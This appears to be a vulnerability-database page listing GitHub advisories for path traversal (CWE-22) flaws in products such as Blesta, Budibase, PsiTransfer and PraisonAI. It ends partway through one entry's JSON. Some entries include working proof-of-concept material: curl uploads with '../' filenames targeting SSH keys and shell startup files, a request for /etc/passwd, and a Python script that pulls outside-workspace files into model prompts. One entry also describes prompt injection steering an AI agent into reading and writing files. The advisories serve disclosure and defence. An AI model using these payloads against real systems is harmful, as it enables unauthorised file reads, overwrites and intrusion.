CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
15198 vulnerabilities reference this CWE, most recent first.
GHSA-XPC2-R64X-8HR9
Vulnerability from github – Published: 2024-02-28 21:30 – Updated: 2024-08-28 18:31A path traversal vulnerability in the /path/to/uploads/ directory of Blesta before v5.9.2 allows attackers to takeover user accounts and execute arbitrary code.
{
"affected": [],
"aliases": [
"CVE-2024-25859"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-28T20:15:41Z",
"severity": "HIGH"
},
"details": "A path traversal vulnerability in the /path/to/uploads/ directory of Blesta before v5.9.2 allows attackers to takeover user accounts and execute arbitrary code.",
"id": "GHSA-xpc2-r64x-8hr9",
"modified": "2024-08-28T18:31:53Z",
"published": "2024-02-28T21:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25859"
},
{
"type": "WEB",
"url": "https://www.blesta.com/2024/02/08/security-advisory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPHC-JPPF-JRHM
Vulnerability from github – Published: 2026-09-26 15:31 – Updated: 2026-09-26 15:31Budibase Server before 3.45.0 contains an arbitrary file write vulnerability in the PWA icon upload endpoint that extracts user-supplied ZIP archives without proper symlink validation. Attackers with BUILDER role can craft a malicious ZIP with leaf symlink entries followed by duplicate file entries to write arbitrary files as root, enabling remote code execution.
{
"affected": [],
"aliases": [
"CVE-2026-100682"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-26T14:16:52Z",
"severity": "HIGH"
},
"details": "Budibase Server before 3.45.0 contains an arbitrary file write vulnerability in the PWA icon upload endpoint that extracts user-supplied ZIP archives without proper symlink validation. Attackers with BUILDER role can craft a malicious ZIP with leaf symlink entries followed by duplicate file entries to write arbitrary files as root, enabling remote code execution.",
"id": "GHSA-xphc-jppf-jrhm",
"modified": "2026-09-26T15:31:20Z",
"published": "2026-09-26T15:31:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-37r6-5jxh-vm83"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100682"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/budibase-server-before-3.45.0-arbitrary-file-write-via-zip-symlink"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XPHH-5V4R-R3RX
Vulnerability from github – Published: 2025-12-30 19:25 – Updated: 2025-12-30 19:25Summary
A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized_keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.
Details
The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.
lib/endpoints.js:275
const entry = pack.entry({ name: info.metadata.name, size: info.size });
lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');
PoC
I. Upload file with malicious filename (no authentication required).
MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)
curl -X POST http://TARGET:3000/files \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Length: 15" \
-H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}"
II. Complete upload with PATCH
curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Offset: 0" \
-H "Content-Type: application/offset+octet-stream" \
-d "MALICIOUS_CONTENT"
III. Victim downloads and extracts TAR
curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz
Impact
Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "psitransfer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-30T19:25:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.\n\n### Details\n\nThe vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.\n\n```\nlib/endpoints.js:275\n\nconst entry = pack.entry({ name: info.metadata.name, size: info.size });\n```\n\n```\nlib/endpoints.js:372\nassert(meta.name, \u0027tus meta prop missing: name\u0027);\n```\n\n### PoC\n\nI. Upload file with malicious filename (no authentication required).\n\n```\nMALICIOUS_NAME=$(echo -n \"../../../tmp/dp.txt\" | base64)\nSID=$(echo -n \"evil\" | base64)\nRETENTION=$(echo -n \"3600\" | base64)\n\ncurl -X POST http://TARGET:3000/files \\\n -H \"Tus-Resumable: 1.0.0\" \\\n -H \"Upload-Length: 15\" \\\n -H \"Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}\"\n```\n\nII. Complete upload with PATCH\n\n```\ncurl -X PATCH \"http://TARGET:3000/files/evil++\u003cUUID\u003e\" \\\n -H \"Tus-Resumable: 1.0.0\" \\\n -H \"Upload-Offset: 0\" \\\n -H \"Content-Type: application/offset+octet-stream\" \\\n -d \"MALICIOUS_CONTENT\"\n```\n \nIII. Victim downloads and extracts TAR\n\n```\ncurl \"http://TARGET:3000/files/evil++\u003cHASH\u003e.tar.gz\" -o files.tar.gz\ntar -tzf files.tar.gz\n```\n\n### Impact\n\nArbitrary File Write: Attacker can write files anywhere on victim\u0027s filesystem when they extract the archive.\nRCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...\nNo Authentication Required: Default configuration has **uploadPass: false**.\nSocial Engineering Vector: Attacker sends malicious download link to victim.",
"id": "GHSA-xphh-5v4r-r3rx",
"modified": "2025-12-30T19:25:04Z",
"published": "2025-12-30T19:25:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/psi-4ward/psitransfer/security/advisories/GHSA-xphh-5v4r-r3rx"
},
{
"type": "WEB",
"url": "https://github.com/psi-4ward/psitransfer/commit/6c71bc0b8afa1ffa7aabd6c5fb28677651fd57b6"
},
{
"type": "PACKAGE",
"url": "https://github.com/psi-4ward/psitransfer"
},
{
"type": "WEB",
"url": "https://github.com/psi-4ward/psitransfer/releases/tag/v2.3.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PsiTransfer has Zip Slip Path Traversal via TAR Archive Download"
}
GHSA-XPJH-PQRP-82W9
Vulnerability from github – Published: 2025-01-14 00:30 – Updated: 2025-01-23 18:31Pat Infinite Solutions HelpdeskAdvanced <= 11.0.33 is vulnerable to Directory Traversal via the Navigator/Index function.
{
"affected": [],
"aliases": [
"CVE-2023-42232"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-13T22:15:11Z",
"severity": "HIGH"
},
"details": "Pat Infinite Solutions HelpdeskAdvanced \u003c= 11.0.33 is vulnerable to Directory Traversal via the Navigator/Index function.",
"id": "GHSA-xpjh-pqrp-82w9",
"modified": "2025-01-23T18:31:15Z",
"published": "2025-01-14T00:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42232"
},
{
"type": "WEB",
"url": "https://gitlab.com/daniele_m/cve-list/-/blob/main/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XPMG-6C76-V9CQ
Vulnerability from github – Published: 2022-03-12 00:00 – Updated: 2022-03-19 00:01Path traversal vulnerability exists in CAMS for HIS Server contained in the following Yokogawa Electric products: CENTUM CS 3000 versions from R3.08.10 to R3.09.00, CENTUM VP versions from R4.01.00 to R4.03.00, from R5.01.00 to R5.04.20, and from R6.01.00 to R6.08.00, Exaopc versions from R3.72.00 to R3.79.00.
{
"affected": [],
"aliases": [
"CVE-2022-21808"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-11T09:15:00Z",
"severity": "HIGH"
},
"details": "Path traversal vulnerability exists in CAMS for HIS Server contained in the following Yokogawa Electric products: CENTUM CS 3000 versions from R3.08.10 to R3.09.00, CENTUM VP versions from R4.01.00 to R4.03.00, from R5.01.00 to R5.04.20, and from R6.01.00 to R6.08.00, Exaopc versions from R3.72.00 to R3.79.00.",
"id": "GHSA-xpmg-6c76-v9cq",
"modified": "2022-03-19T00:01:22Z",
"published": "2022-03-12T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21808"
},
{
"type": "WEB",
"url": "https://web-material3.yokogawa.com/1/32094/files/YSAR-22-0001-E.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPQW-FQPW-35FC
Vulnerability from github – Published: 2020-09-01 16:57 – Updated: 2023-09-07 00:11Affected versions of wangguojing123 resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "wangguojing123"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16150"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:20:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `wangguojing123` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
"id": "GHSA-xpqw-fqpw-35fc",
"modified": "2023-09-07T00:11:01Z",
"published": "2020-09-01T16:57:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16150"
},
{
"type": "WEB",
"url": "https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/wangguojing123"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/374"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Directory Traversal in wangguojing123"
}
GHSA-XPVR-6R3P-GM34
Vulnerability from github – Published: 2026-10-02 00:31 – Updated: 2026-10-02 00:31Office-PowerPoint-MCP-Server through 2.0.7 contains a path traversal vulnerability that allows MCP callers to write and read files outside the working directory by supplying absolute paths or ../ sequences. Attackers can steer an AI agent via prompt injection to abuse save_presentation, open_presentation, or manage_image output_path to overwrite any server-writable file or load external files.
{
"affected": [],
"aliases": [
"CVE-2025-71427"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-01T23:16:46Z",
"severity": "HIGH"
},
"details": "Office-PowerPoint-MCP-Server through 2.0.7 contains a path traversal vulnerability that allows MCP callers to write and read files outside the working directory by supplying absolute paths or ../ sequences. Attackers can steer an AI agent via prompt injection to abuse save_presentation, open_presentation, or manage_image output_path to overwrite any server-writable file or load external files.",
"id": "GHSA-xpvr-6r3p-gm34",
"modified": "2026-10-02T00:31:32Z",
"published": "2026-10-02T00:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71427"
},
{
"type": "WEB",
"url": "https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/pull/33"
},
{
"type": "WEB",
"url": "https://github.com/GongRzhe/Office-PowerPoint-MCP-Server"
},
{
"type": "WEB",
"url": "https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/blob/3631ba2ec0c24504476f78bf74d329c9be11caaa/tools/presentation_tools.py#L127-L141"
},
{
"type": "WEB",
"url": "https://github.com/GongRzhe/Office-PowerPoint-MCP-Server/blob/3631ba2ec0c24504476f78bf74d329c9be11caaa/utils/presentation_utils.py#L61-L73"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/office-powerpoint-mcp-server-through-2.0.7-path-traversal-via-save-presentation-and-manage-image"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XPWC-VWW2-W3PR
Vulnerability from github – Published: 2024-12-30 21:30 – Updated: 2024-12-30 21:30iXsystems TrueNAS CORE tarfile.extractall Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of iXsystems TrueNAS devices. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the tarfile.extractall method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-25626.
{
"affected": [],
"aliases": [
"CVE-2024-11944"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-30T21:15:05Z",
"severity": "HIGH"
},
"details": "iXsystems TrueNAS CORE tarfile.extractall Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of iXsystems TrueNAS devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the tarfile.extractall method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-25626.",
"id": "GHSA-xpwc-vww2-w3pr",
"modified": "2024-12-30T21:30:47Z",
"published": "2024-12-30T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11944"
},
{
"type": "WEB",
"url": "https://www.truenas.com/docs/core/13.0/gettingstarted/corereleasenotes/#130-u63"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1643"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPX6-X8C2-MW5W
Vulnerability from github – Published: 2026-10-08 17:57 – Updated: 2026-10-08 17:57Project custom command templates can read outside-workspace files into model prompts
Summary
PraisonAI's new file-based custom command feature auto-discovers project commands from .praisonai/commands/*.md. When a user runs praisonai run --command <name> inside a repository, the command body is interpolated before it is sent as the model prompt.
The interpolation code expands @path references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include @../outside_secret.txt or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.
This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.
Technical Details
The feature was introduced by commit 88cf0c29 (feat: file-based custom agents and reusable commands with auto-discovery (#2035)) and is present on current main:
current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
current describe: v4.6.64-8-g3aa9cbc2
src/praisonai/praisonai/cli/features/custom_definitions.py discovers project-level definitions by walking upward from Path.cwd() to the git root and loading .praisonai/commands/*.md. Project commands override user-global commands.
interpolate_command_template() loads the selected command and passes the command body to the interpolator with Path.cwd() as the working directory:
return interpolator.interpolate(command.template, arguments, Path.cwd())
TemplateInterpolator._interpolate_files() then matches every @([^\s]+) token and reads the referenced file:
if working_dir:
file_path = working_dir / file_path_str
else:
file_path = Path(file_path_str)
if file_path.exists() and file_path.is_file():
with open(file_path, 'r') as f:
return f.read()
There is no resolve() call and no containment check against the project root. In Python, Path.cwd() / "/absolute/path" returns the absolute path, and parent traversal such as ../outside_secret.txt resolves outside the workspace when opened.
The sink is in src/praisonai/praisonai/cli/commands/run.py: the --command path calls interpolate_command_template(), then passes the fully interpolated prompt to _run_prompt().
PoV
A minimal vulnerable repository only needs a project command template and an outside file:
workspace/
.git/
.praisonai/
commands/
relative_escape.md # contains @../outside_secret.txt
absolute_escape.md # contains an absolute path outside workspace
inside.txt
outside_secret.txt
When the operator runs the project command, PraisonAI discovers .praisonai/commands/*.md, interpolates the template with Path.cwd() as the working directory, reads the outside file, and passes the resulting prompt to _run_prompt().
The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.
PoC
From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden PYTHONPATH setup is required.
git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 - "$PWD" <<'PY'
from __future__ import annotations
import importlib.util
import json
import os
import subprocess
import sys
import tempfile
import types
from pathlib import Path
CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"
def install_yaml_fallback_if_needed() -> str:
if importlib.util.find_spec("yaml") is not None:
return "installed"
yaml_stub = types.ModuleType("yaml")
class YAMLError(Exception):
pass
def safe_load(text: str):
data = {}
for raw_line in text.splitlines():
line = raw_line.strip()
if not line or line.startswith("#") or ":" not in line:
continue
key, value = line.split(":", 1)
data[key.strip()] = value.strip().strip("'\"")
return data
yaml_stub.safe_load = safe_load
yaml_stub.YAMLError = YAMLError
sys.modules["yaml"] = yaml_stub
return "stubbed"
def add_source_to_path(source_root: Path) -> None:
candidate = source_root / "src" / "praisonai"
if (candidate / "praisonai").exists():
sys.path.insert(0, str(candidate))
return
raise SystemExit(f"Could not find PraisonAI sources below {source_root}")
class pushd:
def __init__(self, path: Path):
self.path = path
self.old = Path.cwd()
def __enter__(self):
os.chdir(self.path)
def __exit__(self, *_exc):
os.chdir(self.old)
def write_command(commands_dir: Path, name: str, body: str) -> None:
commands_dir.mkdir(parents=True, exist_ok=True)
(commands_dir / f"{name}.md").write_text(
"---\n"
f"description: {name}\n"
"---\n"
f"{body}\n",
encoding="utf-8",
)
source_root = Path(sys.argv[1]).resolve()
yaml_dependency = install_yaml_fallback_if_needed()
add_source_to_path(source_root)
from praisonai.cli.features.custom_definitions import interpolate_command_template
with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp:
temp_root = Path(tmp).resolve()
workspace = temp_root / "workspace"
workspace.mkdir()
subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)
inside = workspace / "inside.txt"
outside = temp_root / "outside_secret.txt"
inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8")
outside.write_text(f"{CANARY}\n", encoding="utf-8")
commands_dir = workspace / ".praisonai" / "commands"
write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt")
write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}")
write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt")
write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt")
write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")
with pushd(workspace):
relative_result = interpolate_command_template("relative_escape", "operator argument")
absolute_result = interpolate_command_template("absolute_escape", "operator argument")
inside_result = interpolate_command_template("inside_control", "operator argument")
missing_result = interpolate_command_template("missing_control", "operator argument")
shell_result = interpolate_command_template("shell_control", "operator argument")
result = {
"vulnerable": all(
[
CANARY in (relative_result or ""),
CANARY in (absolute_result or ""),
"INSIDE_FILE=allowed" in (inside_result or ""),
"@missing.txt" in (missing_result or ""),
not (workspace / "SHOULD_NOT_EXIST").exists(),
]
),
"expectations": {
"relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""),
"absolute_path_discloses_outside_file": CANARY in (absolute_result or ""),
"inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""),
"missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""),
"shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(),
},
"samples": {
"relative_escape": relative_result,
"absolute_escape": absolute_result,
"inside_control": inside_result,
"missing_control": missing_result,
"shell_control": shell_result,
},
"yaml_dependency": yaml_dependency,
}
print(json.dumps(result, indent=2, sort_keys=True))
raise SystemExit(0 if result["vulnerable"] else 1)
PY
Expected vulnerable output:
{
"expectations": {
"absolute_path_discloses_outside_file": true,
"inside_control_expands_workspace_file": true,
"missing_control_leaves_missing_reference": true,
"relative_parent_traversal_discloses_outside_file": true,
"shell_control_does_not_create_file": true
},
"samples": {
"absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
"inside_control": "Review inside:\nINSIDE_FILE=allowed\n",
"missing_control": "Missing stays literal:\n@missing.txt",
"relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
"shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)"
},
"vulnerable": true,
"yaml_dependency": "installed"
}
The PoC does not contact a model provider or any external service. It stops at the interpolation step that praisonai run --command uses before calling _run_prompt().
Impact
An attacker who can supply or modify a repository can add a project command such as .praisonai/commands/review.md containing @../outside_secret.txt or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.
This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.
Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.
Suggested CVSS 3.1 vector:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Relevant CWEs:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Suggested Fix
Resolve command @path references through a single containment helper before opening files:
- Resolve the project root or intended command workspace once.
- For relative references, join to that root and then call
resolve(). - For absolute references, either reject them outright or require
resolved.relative_to(root)to succeed. - Reject escaped files before any
exists(),is_file(), oropen()operation. - Apply the same boundary to project and user command templates.
- Add regression tests for
@../outside.txt,@/absolute/outside.txt, a valid in-workspace file, a missing file, and shell-substitution escaping.
Minimal shape:
def resolve_command_file(root: Path, value: str) -> Path:
root = root.resolve()
candidate = Path(value)
if not candidate.is_absolute():
candidate = root / candidate
resolved = candidate.resolve()
try:
resolved.relative_to(root)
except ValueError as exc:
raise PermissionError(f"command file reference escapes workspace: {value}") from exc
return resolved
Affected Package/Versions
The feature was introduced by commit 88cf0c29. Current release tags now contain that commit, and PyPI currently publishes praisonai through 4.6.71.
introducing commit: 88cf0c29
earliest affected release observed: v4.6.65
latest affected release observed: v4.6.71
latest PyPI version checked: 4.6.71
unaffected sampled tag: v4.6.64
fixed version: none identified yet
Affected package entry:
Ecosystem: pip
Package: praisonai
Vulnerable versions: >= 4.6.65
Patched versions: none yet
Advisory History
No checked PraisonAI private advisory matched .praisonai/commands/*.md, praisonai.cli.features.custom_definitions, or custom command template @path interpolation.
The closest comparator is GHSA-2rcg-mm5h-xchx, arbitrary file read via @file: mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from .praisonai/commands/*.md, not by a direct @file: mention path. The vulnerable code path here is TemplateInterpolator._interpolate_files() in custom_definitions.py, introduced by 88cf0c29, and the sink is praisonai run --command.
Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.
References
- PraisonAI repository: https://github.com/MervinPraison/PraisonAI
- Introducing commit
88cf0c29: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29 - Current tested commit
3aa9cbc2bd49c23a32be0a89a5e620d13d843eab: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab - Comparator advisory
GHSA-2rcg-mm5h-xchx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx - PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-200: https://cwe.mitre.org/data/definitions/200.html
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-60088"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:57:49Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Project custom command templates can read outside-workspace files into model prompts\n\n## Summary\n\nPraisonAI\u0027s new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command \u003cname\u003e` inside a repository, the command body is interpolated before it is sent as the model prompt.\n\nThe interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.\n\nThis is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.\n\n## Technical Details\n\nThe feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:\n\n```text\ncurrent commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\ncurrent describe: v4.6.64-8-g3aa9cbc2\n```\n\n`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.\n\n`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:\n\n```python\nreturn interpolator.interpolate(command.template, arguments, Path.cwd())\n```\n\n`TemplateInterpolator._interpolate_files()` then matches every `@([^\\s]+)` token and reads the referenced file:\n\n```python\nif working_dir:\n file_path = working_dir / file_path_str\nelse:\n file_path = Path(file_path_str)\n\nif file_path.exists() and file_path.is_file():\n with open(file_path, \u0027r\u0027) as f:\n return f.read()\n```\n\nThere is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / \"/absolute/path\"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.\n\nThe sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.\n\n## PoV\n\nA minimal vulnerable repository only needs a project command template and an outside file:\n\n```text\nworkspace/\n .git/\n .praisonai/\n commands/\n relative_escape.md # contains @../outside_secret.txt\n absolute_escape.md # contains an absolute path outside workspace\n inside.txt\noutside_secret.txt\n```\n\nWhen the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to 